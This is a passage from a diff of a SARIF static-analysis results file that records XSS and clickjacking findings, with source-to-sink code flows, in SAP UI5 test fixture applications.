+              }
+            }
+          }, {
+            "location" : {
+              "physicalLocation" : {
+                "artifactLocation" : {
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api2/webapp/control/xss.js",
+                  "uriBaseId" : "%SRCROOT%",
+                  "index" : 203
+                },
+                "region" : {
+                  "startLine" : 14,
+                  "startColumn" : 32,
+                  "endColumn" : 50
+                }
+              },
+              "message" : {
+                "text" : "oControl.getText()"
               }
             }
           } ]
@@ -14473,145 +16512,28 @@
         "id" : 1,
         "physicalLocation" : {
           "artifactLocation" : {
-            "uri" : "javascript/heuristic-models/tests/Sources/test.js",
+            "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api2/webapp/view/app.view.xml",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 4
+            "index" : 208
           },
           "region" : {
             "startLine" : 5,
-            "startColumn" : 17,
-            "endColumn" : 33
+            "startColumn" : 5,
+            "endLine" : 7,
+            "endColumn" : 29
           }
         },
-        "message" : {
-          "text" : "user-provided value"
-        }
-      } ]
-    }, {
-      "ruleId" : "js/ui5-clickjacking",
-      "rule" : {
-        "id" : "js/ui5-clickjacking",
-        "index" : 0,
-        "toolComponent" : {
-          "index" : 0
-        }
-      },
-      "message" : {
-        "text" : "Possible clickjacking vulnerability due to window\\[ ... onfig\"\\] being set to `allow`."
-      },
-      "locations" : [ {
-        "physicalLocation" : {
-          "artifactLocation" : {
-            "uri" : "javascript/frameworks/ui5/test/queries/UI5Clickjacking/clickjacking-allow-all/index.html",
-            "uriBaseId" : "%SRCROOT%",
-            "index" : 42
-          },
-          "region" : {
-            "startLine" : 9,
-            "startColumn" : 9,
-            "endColumn" : 32
-          }
-        }
-      } ],
-      "partialFingerprints" : {
-        "primaryLocationLineHash" : "6152b8f74a1abdf5:1",
-        "primaryLocationStartColumnFingerprint" : "0"
-      }
-    }, {
-      "ruleId" : "js/ui5-clickjacking",
-      "rule" : {
-        "id" : "js/ui5-clickjacking",
-        "index" : 0,
-        "toolComponent" : {
-          "index" : 0
-        }
-      },
-      "message" : {
-        "text" : "Possible clickjacking vulnerability due to data-sap-ui-frameOptions=allow being set to `allow`."
-      },
-      "locations" : [ {
-        "physicalLocation" : {
-          "artifactLocation" : {
-            "uri" : "javascript/frameworks/ui5/test/queries/UI5Clickjacking/clickjacking-allow-all/index.html",
-            "uriBaseId" : "%SRCROOT%",
-            "index" : 42
-          },
-          "region" : {
-            "startLine" : 28,
-            "startColumn" : 34,
-            "endColumn" : 66
-          }
-        }
-      } ],
-      "partialFingerprints" : {
-        "primaryLocationLineHash" : "b01bd23ca3666824:1",
-        "primaryLocationStartColumnFingerprint" : "25"
-      }
-    }, {
-      "ruleId" : "js/ui5-clickjacking",
-      "rule" : {
-        "id" : "js/ui5-clickjacking",
-        "index" : 0,
-        "toolComponent" : {
-          "index" : 0
-        }
-      },
-      "message" : {
-        "text" : "Possible clickjacking vulnerability due to missing frame options."
-      },
-      "locations" : [ {
-        "physicalLocation" : {
-          "artifactLocation" : {
-            "uri" : "javascript/frameworks/ui5/test/queries/UI5Clickjacking/clickjacking-default-all/index.html",
-            "uriBaseId" : "%SRCROOT%",
-            "index" : 44
-          },
-          "region" : {
-            "startLine" : 2,
-            "endColumn" : 16
-          }
-        }
-      } ],
-      "partialFingerprints" : {
-        "primaryLocationLineHash" : "7fe81114896a63c:1",
-        "primaryLocationStartColumnFingerprint" : "0"
-      }
-    }, {
-      "ruleId" : "js/ui5-clickjacking",
-      "rule" : {
-        "id" : "js/ui5-clickjacking",
-        "index" : 0,
-        "toolComponent" : {
-          "index" : 0
-        }
-      },
-      "message" : {
-        "text" : "Possible clickjacking vulnerability due to missing frame options."
-      },
-      "locations" : [ {
-        "physicalLocation" : {
-          "artifactLocation" : {
-            "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/index.html",
-            "uriBaseId" : "%SRCROOT%",
-            "index" : 133
-          },
-          "region" : {
-            "startLine" : 2,
-            "endColumn" : 16
-          }
+        "message" : {
+          "text" : "user-provided value"
         }
-      } ],
-      "partialFingerprints" : {
-        "primaryLocationLineHash" : "df700c15dad274b2:1",
-        "primaryLocationStartColumnFingerprint" : "0"
-      }
+      } ]
     }, {
       "ruleId" : "js/ui5-xss",
       "rule" : {
         "id" : "js/ui5-xss",
-        "index" : 1,
+        "index" : 0,
         "toolComponent" : {
-          "index" : 0
+          "index" : 1
         }
       },
       "message" : {
@@ -14620,20 +16542,20 @@
       "locations" : [ {
         "physicalLocation" : {
           "artifactLocation" : {
-            "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/avoid-duplicate-alerts/XssTest.js",
+            "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-jquery/webapp/control/xss.js",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 1
+            "index" : 212
           },
           "region" : {
-            "startLine" : 5,
-            "startColumn" : 27,
-            "endColumn" : 32
+            "startLine" : 14,
+            "startColumn" : 28,
+            "endColumn" : 46
           }
         }
       } ],
       "partialFingerprints" : {
-        "primaryLocationLineHash" : "92dbc37bdafc7694:1",
-        "primaryLocationStartColumnFingerprint" : "22"
+        "primaryLocationLineHash" : "352d5ec8b0c3bb0d:1",
+        "primaryLocationStartColumnFingerprint" : "15"
       },
       "codeFlows" : [ {
         "threadFlows" : [ {
@@ -14641,54 +16563,73 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/avoid-duplicate-alerts/XssTest.js",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-jquery/webapp/view/app.view.xml",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 1
+                  "index" : 217
                 },
                 "region" : {
-                  "startLine" : 3,
+                  "startLine" : 5,
+                  "startColumn" : 5,
+                  "endLine" : 7,
+                  "endColumn" : 29
+                }
+              },
+              "message" : {
+                "text" : "value={/input}"
+              }
+            }
+          }, {
+            "location" : {
+              "physicalLocation" : {
+                "artifactLocation" : {
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-jquery/webapp/controller/app.controller.js",
+                  "uriBaseId" : "%SRCROOT%",
+                  "index" : 213
+                },
+                "region" : {
+                  "startLine" : 9,
                   "startColumn" : 17,
-                  "endColumn" : 51
+                  "endColumn" : 28
                 }
               },
               "message" : {
-                "text" : "jQuery. ... param\")"
+                "text" : "input: null"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/avoid-duplicate-alerts/XssTest.js",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-jquery/webapp/control/xss.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 1
+                  "index" : 212
                 },
                 "region" : {
-                  "startLine" : 3,
-                  "startColumn" : 9,
-                  "endColumn" : 51
+                  "startLine" : 7,
+                  "startColumn" : 19,
+                  "endColumn" : 37
                 }
               },
               "message" : {
-                "text" : "value"
+                "text" : "{ type: \"string\" }"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/avoid-duplicate-alerts/XssTest.js",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-jquery/webapp/control/xss.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 1
+                  "index" : 212
                 },
                 "region" : {
-                  "startLine" : 5,
-                  "startColumn" : 27,
-                  "endColumn" : 32
+                  "startLine" : 14,
+                  "startColumn" : 28,
+                  "endColumn" : 46
                 }
               },
               "message" : {
-                "text" : "value"
+                "text" : "oControl.getText()"
               }
             }
           } ]
@@ -14698,14 +16639,15 @@
         "id" : 1,
         "physicalLocation" : {
           "artifactLocation" : {
-            "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/avoid-duplicate-alerts/XssTest.js",
+            "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-jquery/webapp/view/app.view.xml",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 1
+            "index" : 217
           },
           "region" : {
-            "startLine" : 3,
-            "startColumn" : 17,
-            "endColumn" : 51
+            "startLine" : 5,
+            "startColumn" : 5,
+            "endLine" : 7,
+            "endColumn" : 29
           }
         },
         "message" : {
@@ -14716,9 +16658,9 @@
       "ruleId" : "js/ui5-xss",
       "rule" : {
         "id" : "js/ui5-xss",
-        "index" : 1,
+        "index" : 0,
         "toolComponent" : {
-          "index" : 0
+          "index" : 1
         }
       },
       "message" : {
@@ -14727,20 +16669,20 @@
       "locations" : [ {
         "physicalLocation" : {
           "artifactLocation" : {
-            "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/avoid-duplicate-alerts/XssTest.js",
+            "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/controller/app.controller.js",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 1
+            "index" : 239
           },
           "region" : {
-            "startLine" : 12,
-            "startColumn" : 27,
-            "endColumn" : 32
+            "startLine" : 27,
+            "startColumn" : 36,
+            "endColumn" : 41
           }
         }
       } ],
       "partialFingerprints" : {
-        "primaryLocationLineHash" : "faa1832c387d2ee5:1",
-        "primaryLocationStartColumnFingerprint" : "22"
+        "primaryLocationLineHash" : "8ceecee7055f4fa2:1",
+        "primaryLocationStartColumnFingerprint" : "23"
       },
       "codeFlows" : [ {
         "threadFlows" : [ {
@@ -14748,32 +16690,32 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/avoid-duplicate-alerts/XssTest.js",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/controller/app.controller.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 1
+                  "index" : 239
                 },
                 "region" : {
-                  "startLine" : 10,
-                  "startColumn" : 17,
-                  "endColumn" : 41
+                  "startLine" : 26,
+                  "startColumn" : 25,
+                  "endColumn" : 42
                 }
               },
               "message" : {
-                "text" : "documen ... .search"
+                "text" : "oInput.getValue()"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/avoid-duplicate-alerts/XssTest.js",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/controller/app.controller.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 1
+                  "index" : 239
                 },
                 "region" : {
-                  "startLine" : 10,
-                  "startColumn" : 9,
-                  "endColumn" : 41
+                  "startLine" : 26,
+                  "startColumn" : 17,
+                  "endColumn" : 42
                 }
               },
               "message" : {
@@ -14784,14 +16726,14 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/avoid-duplicate-alerts/XssTest.js",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/controller/app.controller.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 1
+                  "index" : 239
                 },
                 "region" : {
-                  "startLine" : 12,
-                  "startColumn" : 27,
-                  "endColumn" : 32
+                  "startLine" : 27,
+                  "startColumn" : 36,
+                  "endColumn" : 41
                 }
               },
               "message" : {
@@ -14805,14 +16747,14 @@
         "id" : 1,
         "physicalLocation" : {
           "artifactLocation" : {
-            "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/avoid-duplicate-alerts/XssTest.js",
+            "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/controller/app.controller.js",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 1
+            "index" : 239
           },
           "region" : {
-            "startLine" : 10,
-            "startColumn" : 17,
-            "endColumn" : 41
+            "startLine" : 26,
+            "startColumn" : 25,
+            "endColumn" : 42
           }
         },
         "message" : {
@@ -14823,9 +16765,9 @@
       "ruleId" : "js/ui5-xss",
       "rule" : {
         "id" : "js/ui5-xss",
-        "index" : 1,
+        "index" : 0,
         "toolComponent" : {
-          "index" : 0
+          "index" : 1
         }
       },
       "message" : {
@@ -14834,20 +16776,20 @@
       "locations" : [ {
         "physicalLocation" : {
           "artifactLocation" : {
-            "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/avoid-duplicate-alerts/XssTest.js",
+            "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/webapp/control/xssRenderer.js",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 1
+            "index" : 290
           },
           "region" : {
-            "startLine" : 20,
-            "startColumn" : 27,
-            "endColumn" : 33
+            "startLine" : 8,
+            "startColumn" : 28,
+            "endColumn" : 46
           }
         }
       } ],
       "partialFingerprints" : {
-        "primaryLocationLineHash" : "8291f53a2e235d15:1",
-        "primaryLocationStartColumnFingerprint" : "22"
+        "primaryLocationLineHash" : "353ad97f4bff4eae:1",
+        "primaryLocationStartColumnFingerprint" : "15"
       },
       "codeFlows" : [ {
         "threadFlows" : [ {
@@ -14855,108 +16797,200 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/avoid-duplicate-alerts/XssTest.js",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/webapp/view/app.view.xml",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 1
+                  "index" : 295
                 },
                 "region" : {
-                  "startLine" : 17,
+                  "startLine" : 5,
+                  "startColumn" : 5,
+                  "endLine" : 7,
+                  "endColumn" : 29
+                }
+              },
+              "message" : {
+                "text" : "value={/input}"
+              }
+            }
+          }, {
+            "location" : {
+              "physicalLocation" : {
+                "artifactLocation" : {
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/webapp/controller/app.controller.js",
+                  "uriBaseId" : "%SRCROOT%",
+                  "index" : 291
+                },
+                "region" : {
+                  "startLine" : 9,
                   "startColumn" : 17,
-                  "endColumn" : 41
+                  "endColumn" : 28
                 }
               },
               "message" : {
-                "text" : "documen ... .search"
+                "text" : "input: null"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/avoid-duplicate-alerts/XssTest.js",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/webapp/control/xssBase.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 1
+                  "index" : 289
                 },
                 "region" : {
-                  "startLine" : 17,
-                  "startColumn" : 9,
-                  "endColumn" : 41
+                  "startLine" : 5,
+                  "startColumn" : 15,
+                  "endColumn" : 33
                 }
               },
               "message" : {
-                "text" : "value"
+                "text" : "{ type: \"string\" }"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/avoid-duplicate-alerts/XssTest.js",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/webapp/control/xssRenderer.js",
+                  "uriBaseId" : "%SRCROOT%",
+                  "index" : 290
+                },
+                "region" : {
+                  "startLine" : 8,
+                  "startColumn" : 28,
+                  "endColumn" : 46
+                }
+              },
+              "message" : {
+                "text" : "oControl.getText()"
+              }
+            }
+          } ]
+        } ]
+      } ],
+      "relatedLocations" : [ {
+        "id" : 1,
+        "physicalLocation" : {
+          "artifactLocation" : {
+            "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/webapp/view/app.view.xml",
+            "uriBaseId" : "%SRCROOT%",
+            "index" : 295
+          },
+          "region" : {
+            "startLine" : 5,
+            "startColumn" : 5,
+            "endLine" : 7,
+            "endColumn" : 29
+          }
+        },
+        "message" : {
+          "text" : "user-provided value"
+        }
+      } ]
+    }, {
+      "ruleId" : "js/ui5-xss",
+      "rule" : {
+        "id" : "js/ui5-xss",
+        "index" : 0,
+        "toolComponent" : {
+          "index" : 1
+        }
+      },
+      "message" : {
+        "text" : "XSS vulnerability due to [user-provided value](1)."
+      },
+      "locations" : [ {
+        "physicalLocation" : {
+          "artifactLocation" : {
+            "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/webapp/control/renderer.js",
+            "uriBaseId" : "%SRCROOT%",
+            "index" : 315
+          },
+          "region" : {
+            "startLine" : 8,
+            "startColumn" : 28,
+            "endColumn" : 46
+          }
+        }
+      } ],
+      "partialFingerprints" : {
+        "primaryLocationLineHash" : "353ad97f4bff4eae:1",
+        "primaryLocationStartColumnFingerprint" : "15"
+      },
+      "codeFlows" : [ {
+        "threadFlows" : [ {
+          "locations" : [ {
+            "location" : {
+              "physicalLocation" : {
+                "artifactLocation" : {
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/webapp/view/app.view.xml",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 1
+                  "index" : 321
                 },
                 "region" : {
-                  "startLine" : 18,
-                  "startColumn" : 39,
-                  "endColumn" : 44
+                  "startLine" : 5,
+                  "startColumn" : 5,
+                  "endLine" : 7,
+                  "endColumn" : 29
                 }
               },
               "message" : {
-                "text" : "value"
+                "text" : "value={/input}"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/avoid-duplicate-alerts/XssTest.js",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/webapp/controller/app.controller.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 1
+                  "index" : 317
                 },
                 "region" : {
-                  "startLine" : 18,
-                  "startColumn" : 18,
-                  "endColumn" : 45
+                  "startLine" : 9,
+                  "startColumn" : 17,
+                  "endColumn" : 28
                 }
               },
               "message" : {
-                "text" : "jQuery. ... (value)"
+                "text" : "input: null"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/avoid-duplicate-alerts/XssTest.js",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/webapp/control/xss.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 1
+                  "index" : 316
                 },
                 "region" : {
-                  "startLine" : 18,
-                  "startColumn" : 9,
-                  "endColumn" : 45
+                  "startLine" : 7,
+                  "startColumn" : 23,
+                  "endColumn" : 41
                 }
               },
               "message" : {
-                "text" : "value1"
+                "text" : "{ type: \"string\" }"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/avoid-duplicate-alerts/XssTest.js",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/webapp/control/renderer.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 1
+                  "index" : 315
                 },
                 "region" : {
-                  "startLine" : 20,
-                  "startColumn" : 27,
-                  "endColumn" : 33
+                  "startLine" : 8,
+                  "startColumn" : 28,
+                  "endColumn" : 46
                 }
               },
               "message" : {
-                "text" : "value1"
+                "text" : "oControl.getText()"
               }
             }
           } ]
@@ -14966,14 +17000,15 @@
         "id" : 1,
         "physicalLocation" : {
           "artifactLocation" : {
-            "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/avoid-duplicate-alerts/XssTest.js",
+            "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/webapp/view/app.view.xml",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 1
+            "index" : 321
           },
           "region" : {
-            "startLine" : 17,
-            "startColumn" : 17,
-            "endColumn" : 41
+            "startLine" : 5,
+            "startColumn" : 5,
+            "endLine" : 7,
+            "endColumn" : 29
           }
         },
         "message" : {
@@ -14984,9 +17019,9 @@
       "ruleId" : "js/ui5-xss",
       "rule" : {
         "id" : "js/ui5-xss",
-        "index" : 1,
+        "index" : 0,
         "toolComponent" : {
-          "index" : 0
+          "index" : 1
         }
       },
       "message" : {
@@ -14995,21 +17030,20 @@
       "locations" : [ {
         "physicalLocation" : {
           "artifactLocation" : {
-            "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/controls/Book.js",
+            "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/webapp/control/xssRenderer.js",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 132
+            "index" : 326
           },
           "region" : {
-            "startLine" : 132,
-            "startColumn" : 7,
-            "endLine" : 134,
-            "endColumn" : 16
+            "startLine" : 8,
+            "startColumn" : 28,
+            "endColumn" : 46
           }
         }
       } ],
       "partialFingerprints" : {
-        "primaryLocationLineHash" : "63ace7b071639814:1",
-        "primaryLocationStartColumnFingerprint" : "0"
+        "primaryLocationLineHash" : "353ad97f4bff4eae:1",
+        "primaryLocationStartColumnFingerprint" : "15"
       },
       "codeFlows" : [ {
         "threadFlows" : [ {
@@ -15017,109 +17051,181 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/controller/App.Controller.js",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/webapp/view/app.view.xml",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 131
+                  "index" : 331
                 },
                 "region" : {
-                  "startLine" : 23,
-                  "startColumn" : 25,
-                  "endColumn" : 48
+                  "startLine" : 5,
+                  "startColumn" : 5,
+                  "endLine" : 7,
+                  "endColumn" : 29
                 }
               },
               "message" : {
-                "text" : "oSearch ... Value()"
+                "text" : "value={/input}"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/controller/App.Controller.js",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/webapp/controller/app.controller.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 131
+                  "index" : 327
                 },
                 "region" : {
-                  "startLine" : 23,
-                  "startColumn" : 11,
-                  "endColumn" : 48
+                  "startLine" : 9,
+                  "startColumn" : 17,
+                  "endColumn" : 28
                 }
               },
               "message" : {
-                "text" : "searchValue"
+                "text" : "input: null"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/controller/App.Controller.js",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/webapp/control/xss.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 131
+                  "index" : 325
                 },
                 "region" : {
-                  "startLine" : 27,
-                  "startColumn" : 34,
-                  "endColumn" : 45
+                  "startLine" : 7,
+                  "startColumn" : 23,
+                  "endColumn" : 41
                 }
               },
               "message" : {
-                "text" : "searchValue"
+                "text" : "{ type: \"string\" }"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/controls/Book.js",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/webapp/control/xssRenderer.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 132
+                  "index" : 326
                 },
                 "region" : {
-                  "startLine" : 17,
-                  "startColumn" : 13,
-                  "endColumn" : 31
+                  "startLine" : 8,
+                  "startColumn" : 28,
+                  "endColumn" : 46
                 }
               },
               "message" : {
-                "text" : "{ type: \"string\" }"
+                "text" : "oControl.getText()"
+              }
+            }
+          } ]
+        } ]
+      } ],
+      "relatedLocations" : [ {
+        "id" : 1,
+        "physicalLocation" : {
+          "artifactLocation" : {
+            "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/webapp/view/app.view.xml",
+            "uriBaseId" : "%SRCROOT%",
+            "index" : 331
+          },
+          "region" : {
+            "startLine" : 5,
+            "startColumn" : 5,
+            "endLine" : 7,
+            "endColumn" : 29
+          }
+        },
+        "message" : {
+          "text" : "user-provided value"
+        }
+      } ]
+    }, {
+      "ruleId" : "js/ui5-xss",
+      "rule" : {
+        "id" : "js/ui5-xss",
+        "index" : 0,
+        "toolComponent" : {
+          "index" : 1
+        }
+      },
+      "message" : {
+        "text" : "XSS vulnerability due to [user-provided value](1)."
+      },
+      "locations" : [ {
+        "physicalLocation" : {
+          "artifactLocation" : {
+            "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-js-view/webapp/view/app.view.js",
+            "uriBaseId" : "%SRCROOT%",
+            "index" : 303
+          },
+          "region" : {
+            "startLine" : 21,
+            "startColumn" : 22,
+            "endColumn" : 32
+          }
+        }
+      } ],
+      "partialFingerprints" : {
+        "primaryLocationLineHash" : "5d5122f6c75b5d01:1",
+        "primaryLocationStartColumnFingerprint" : "9"
+      },
+      "codeFlows" : [ {
+        "threadFlows" : [ {
+          "locations" : [ {
+            "location" : {
+              "physicalLocation" : {
+                "artifactLocation" : {
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-js-view/webapp/view/app.view.js",
+                  "uriBaseId" : "%SRCROOT%",
+                  "index" : 303
+                },
+                "region" : {
+                  "startLine" : 18,
+                  "startColumn" : 20,
+                  "endColumn" : 30
+                }
+              },
+              "message" : {
+                "text" : "/input"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/controls/Book.js",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-js-view/webapp/controller/app.controller.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 132
+                  "index" : 299
                 },
                 "region" : {
-                  "startLine" : 133,
-                  "startColumn" : 8,
-                  "endColumn" : 27
+                  "startLine" : 9,
+                  "startColumn" : 17,
+                  "endColumn" : 28
                 }
               },
               "message" : {
-                "text" : "oControl.getTitle()"
+                "text" : "input: null"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/controls/Book.js",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-js-view/webapp/view/app.view.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 132
+                  "index" : 303
                 },
                 "region" : {
-                  "startLine" : 132,
-                  "startColumn" : 7,
-                  "endLine" : 134,
-                  "endColumn" : 16
+                  "startLine" : 21,
+                  "startColumn" : 22,
+                  "endColumn" : 32
                 }
               },
               "message" : {
-                "text" : "\"<div>T ... </div>\""
+                "text" : "/input"
               }
             }
           } ]
@@ -15129,14 +17235,14 @@
         "id" : 1,
         "physicalLocation" : {
           "artifactLocation" : {
-            "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/controller/App.Controller.js",
+            "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-js-view/webapp/view/app.view.js",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 131
+            "index" : 303
           },
           "region" : {
-            "startLine" : 23,
-            "startColumn" : 25,
-            "endColumn" : 48
+            "startLine" : 18,
+            "startColumn" : 20,
+            "endColumn" : 30
           }
         },
         "message" : {
@@ -15147,9 +17253,9 @@
       "ruleId" : "js/ui5-xss",
       "rule" : {
         "id" : "js/ui5-xss",
-        "index" : 1,
+        "index" : 0,
         "toolComponent" : {
-          "index" : 0
+          "index" : 1
         }
       },
       "message" : {
@@ -15158,94 +17264,75 @@
       "locations" : [ {
         "physicalLocation" : {
           "artifactLocation" : {
-            "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api1/webapp/control/xss.js",
+            "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-json-view/webapp/view/app.view.json",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 155
+            "index" : 311
           },
           "region" : {
-            "startLine" : 14,
-            "startColumn" : 23,
-            "endColumn" : 41
+            "startLine" : 13,
+            "startColumn" : 15,
+            "endColumn" : 25
           }
         }
       } ],
       "partialFingerprints" : {
-        "primaryLocationLineHash" : "fc87b07640e9d85:1",
-        "primaryLocationStartColumnFingerprint" : "10"
+        "primaryLocationLineHash" : "c18df3aa119b40dc:1",
+        "primaryLocationStartColumnFingerprint" : "11"
       },
-      "codeFlows" : [ {
-        "threadFlows" : [ {
-          "locations" : [ {
-            "location" : {
-              "physicalLocation" : {
-                "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api1/webapp/view/app.view.xml",
-                  "uriBaseId" : "%SRCROOT%",
-                  "index" : 160
-                },
-                "region" : {
-                  "startLine" : 5,
-                  "startColumn" : 5,
-                  "endLine" : 7,
-                  "endColumn" : 29
-                }
-              },
-              "message" : {
-                "text" : "value={/input}"
-              }
-            }
-          }, {
+      "codeFlows" : [ {
+        "threadFlows" : [ {
+          "locations" : [ {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api1/webapp/controller/app.controller.js",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-json-view/webapp/view/app.view.json",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 156
